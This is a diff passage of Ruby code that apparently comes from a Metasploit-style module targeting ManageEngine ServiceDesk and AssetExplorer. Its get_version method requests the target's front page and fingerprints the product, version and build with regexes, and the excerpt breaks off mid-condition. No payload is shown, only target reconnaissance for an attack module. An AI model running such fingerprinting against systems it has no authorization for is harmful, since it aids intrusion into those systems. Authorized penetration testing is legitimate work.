+ [false, 'Name of the domain to logon to']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) + version = [ 9999, 9999, 0, 'sd' ] + + if res && res.code == 200 + if res.body.to_s =~ /ManageEngine ServiceDesk/ + if res.body.to_s =~ /  \|  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ + output = $1 + version = [output[0].to_i, output[2].to_i, '0', 'sd'] + end + if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds + version[2] = $1.to_i + elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds + version[2] = $1.to_i + end + elsif res.body.to_s =~ /ManageEngine AssetExplorer/ + if res.body.to_s =~ /ManageEngine AssetExplorer  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || + res.body.to_s =~ /